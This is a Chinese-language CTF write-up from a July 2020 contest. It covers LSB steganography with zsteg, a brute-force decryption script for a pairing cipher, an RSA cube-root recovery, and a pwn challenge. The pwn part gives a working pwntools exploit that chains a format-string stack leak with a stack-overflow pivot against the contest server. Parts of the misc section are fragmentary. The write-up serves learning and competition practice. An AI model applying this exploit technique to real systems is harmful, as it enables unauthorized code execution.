五个小时,刚好把杂项,密码学,pwn的签到题做出来了,哈哈哈,wp记录一下。
比赛时间:2020-07-25 10:00-15:00
考点:
1.lsb隐写与zsteg的使用
2.Nfts隐写
3.base85加密
下载得到的是一个rar文件。
尝试看是否是伪加密,发现不是。说明我们需要通过这张图片得到压缩包密码。
将图片放入StegSolve,没发现有用信息。
猜测是lsb隐写,把png文件放到kali里,用zsteg检查以下。
zsteg -E "b1,r,lsb,xy" red_blue.png > 1.png
Ao(mgHXo,o0fV'I2J"^%3&**[email protected],V%$1GCdB0P"X%0RW
d9518636e44
考点:
逆向解密脚本的编写
from flag import flag
def pairing(a,b):
shell = max(a, b)
step = min(a, b)
if step == b:
flag = 0
else:
flag = 1
return shell ** 2 + step * 2 + flag
def encrypt(message):
res = ''
for i in range(0,len(message),2):
res += str(pairing(message[i],message[i+1]))
return res
print(encrypt(flag))
# 1186910804152291019933541010532411051999082499105051010395199519323297119520312715722
加密思路:将flag
每两位进行pairing
运算,得到的int
类型的返回值转换为字符串进行拼接,得到最终的密文
解密思路:分离初flag
每两位加密得到子串,对每个字串进行爆破,每次爆破得到flag
的两位,拼接得到最终的flag
。
难点突破:如何正常的将flag
每两位得到的字串从最终的字符串中分离出来?
flag
字符串转换为数字进行运算,是ASCII码,flag的可能包含的字符是:0-9,a-z,A-Z。说明flag的取值范围为[48,125]。flag
。from Crypto.Util.number import *
def pairing(a,b):
shell = max(a, b)
step = min(a, b)
if step == b:
flag = 0
else:
flag = 1
return shell ** 2 + step * 2 + flag
def decrypt(s):
for i in range(255):
for j in range(255):
if pairing(i,j) == s:
return i,j
final = [11869,10804,15229,10199,3354,10105,3241,10519,9908,2499,10505,10103,9519,9519,3232,9711,9520,3127,5722]
result = []
for i in final:
if decrypt(i):
a,b = decrypt(i)
result.append(a)
result.append(b)
flag = ''
for i in result:
flag += chr(i)
print(flag)
# flag{2cd494d489f5c112f3da7a7805b7a730K
这个题以前作过类似的线性解的,所以一开始就瞄准是否可以直接开方解出,果然可以,于是借用了以下以前的脚本。
考点:
rsa Related Message Attack
from secret import flag
from Crypto.Util.number import getPrime,inverse,bytes_to_long,long_to_bytes
from sympy import isprime
m = bytes_to_long(flag)
i=0
p=getPrime(1024)
r=getPrime(1024)
while True:
i+=1
q = 5*p+i
if isprime(q) :
break
n=p*q*r
e = 65537
c = pow(m,e,n)
p3 = pow(p,3,n)
q3 = pow(q,3,n)
print c
print e
print n
print p3
print q3
#c=121836624300974075697021410307617877799398704636412997043885070081959280989429720121505939271618801519845564677294487289085261071864489530938936756975266796724602572135614554790383740417604947122325421381322155502222532570899845171858215244411945889235509975121332503672838693190271397334662495169940649349725607212867270114445618201171582223868214171942753939282404133460110489725340075179818856587044172460703519751189284498768640898837525773823127259807337383870535232880471869465188882667401540052151795173003568424369575866780354852158304748299284900468768898966143729562589110027789165774068500360970335261801131264801996703446527156709491597639262305131309592217711956181866054589085773085822482247966030763162382493197473555330201343835684065991963179440335668817727280429581864224497755004825170263803174390985868997862117983334405815543271969716910040927833496696049703621334172902517666284662473059140662717708823
#e=65537
#n=20361372240024088786698455948788052559208001789410016096382703853157107986024860262721685000417719260611935731634077852127432140361792767202581631816544546972750034494061276779878409544779707914261679633764772575040304712361634318086289783951555842021028438799649252652041211341825451500751760872572402250747982495384263677669526575825183733353800694161425360299521143726681387485097281832219009682768523304737252763907939642212542959846630464628135025203489075698699980715986689341069964387779523254203021424865355054215122316160201073604105317768112281914334065349420946717116563634883368316247495042216330408372176714499012778410160478384503335610321108263706243329745785632599707740534386988945259578897614317582546751658480917188464178997026284336861027299289073045677754342746386408505695243800685323283852020325044649604548575089927541935884800327121875191739922436199496098842684301207745090701158839031935190703347091
#p3=3639847731266473012111996909765465259684540134584180368372338570948892196816095838781423020996407457408188225238520927483809091079993151555076781372882518810174687150067903870448436299501557380508793238254471833275507634732947964907461619182112787911133054275872120243558556697900528427679352181961312958660881800731678134481664074711076672290178389996403357076809805422591851145306425951725627843352207233693810474618882394140691334742086008967260117740486955640068190440609984095657695423536016475468229419187489359563800737261212975921663803729112420222039005478830477455592167092520074509241894829304209406713781082959299623674294927249556083486223036858674077173104518013601628447504500606447821540687465361616447631579976579754996021653630804073535352129315413118764836270751250405649683786487251823247828947202336680538849571498780353357272103697510910576879383751704763858882439578045020243015928994208017750848637513
#q3=7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397
简单看一下脚本,从中得出:
理清以下pqrn的大小关系,q是p的五倍多,p不超过r的两倍,所以p^3是小于n的,所以可用开方解出p。
再依此得到q,r,phi,d。
最后解密得到密文。
解密脚本:
from Crypto.Util.number import *
from sympy import isprime
from gmpy2 import *
c=121836624300974075697021410307617877799398704636412997043885070081959280989429720121505939271618801519845564677294487289085261071864489530938936756975266796724602572135614554790383740417604947122325421381322155502222532570899845171858215244411945889235509975121332503672838693190271397334662495169940649349725607212867270114445618201171582223868214171942753939282404133460110489725340075179818856587044172460703519751189284498768640898837525773823127259807337383870535232880471869465188882667401540052151795173003568424369575866780354852158304748299284900468768898966143729562589110027789165774068500360970335261801131264801996703446527156709491597639262305131309592217711956181866054589085773085822482247966030763162382493197473555330201343835684065991963179440335668817727280429581864224497755004825170263803174390985868997862117983334405815543271969716910040927833496696049703621334172902517666284662473059140662717708823
q3=7030777127779173206633582847346001157991477456002191926122836599155148909465054067800807615361108442560942058865403188672629297039703065927801771646334817871335134889139894648729527452541098449842202838983982508551750669662540615534327150829869964429006130891731472099912937717406120443380283548571270317421722042835639732966975812764084015221255115940508456442279902250677665136380988902682370875602145833135937210740790528756301051981994351553247852018355526641012434670664732924491790949235519600899289515495046353559475806935200029321563549553167235419039924276406059858659476329718809657072997385947262654743181242885709558209249589482036673428723035300722280229192727192487772217518673838209646300548275957450994828221329299666216457961746189885356929698674294944243729739850927111231235060005119781652245234537583181232715964191675241206562888107252569566488402724441835466680342239244581162530424964324562530832713397
p3=3639847731266473012111996909765465259684540134584180368372338570948892196816095838781423020996407457408188225238520927483809091079993151555076781372882518810174687150067903870448436299501557380508793238254471833275507634732947964907461619182112787911133054275872120243558556697900528427679352181961312958660881800731678134481664074711076672290178389996403357076809805422591851145306425951725627843352207233693810474618882394140691334742086008967260117740486955640068190440609984095657695423536016475468229419187489359563800737261212975921663803729112420222039005478830477455592167092520074509241894829304209406713781082959299623674294927249556083486223036858674077173104518013601628447504500606447821540687465361616447631579976579754996021653630804073535352129315413118764836270751250405649683786487251823247828947202336680538849571498780353357272103697510910576879383751704763858882439578045020243015928994208017750848637513
n=20361372240024088786698455948788052559208001789410016096382703853157107986024860262721685000417719260611935731634077852127432140361792767202581631816544546972750034494061276779878409544779707914261679633764772575040304712361634318086289783951555842021028438799649252652041211341825451500751760872572402250747982495384263677669526575825183733353800694161425360299521143726681387485097281832219009682768523304737252763907939642212542959846630464628135025203489075698699980715986689341069964387779523254203021424865355054215122316160201073604105317768112281914334065349420946717116563634883368316247495042216330408372176714499012778410160478384503335610321108263706243329745785632599707740534386988945259578897614317582546751658480917188464178997026284336861027299289073045677754342746386408505695243800685323283852020325044649604548575089927541935884800327121875191739922436199496098842684301207745090701158839031935190703347091
e=65537
p=iroot(p3,3)[0]
i=0
while True:
i+=1
q = 5*p+i
if isprime(q):
break
r=n//(p*q)
phi=(p-1)*(q-1)*(r-1)
d=invert(e,phi)
m=pow(c,d,n)
flag=long_to_bytes(m)
print(flag)
由于题目是虚假的签到题,所以一开始就没有以简单题的心态去做,看到栈溢出很明显,就知道有坑,结果最后修改了一手esp,妙啊~
考点:
栈溢出
格式化字符串漏洞
很明显一个格式化字符串漏洞,一个栈溢出。且存在/bin/sh。
但是在main函数的末尾leave之后修改了esp为ecx-4,所以esp=[ebp-4]-4。
所以我们不能单单利用后面的栈溢出,还需要格式化字符串漏洞泄露栈的地址。
攻击思路:
exp如下:
from pwn import *
if args['REMOTE']:
sh=remote('183.129.189.60',10013)
else:
sh=process('./qiandao')
def exp():
sh.recvuntil(":")
sh.sendline("%2$p")
sh.recvuntil("\n")
stack=int(sh.recvuntil("\n").replace("\n",""),16)-0x24
sh.info("stack" + ': {:#x}'.format(stack))
sh.recvuntil("?")
payload=p32(0x0804857D)+"\x00"*0x20+p32(stack)
sh.sendline(payload)
sh.interactive()
exp()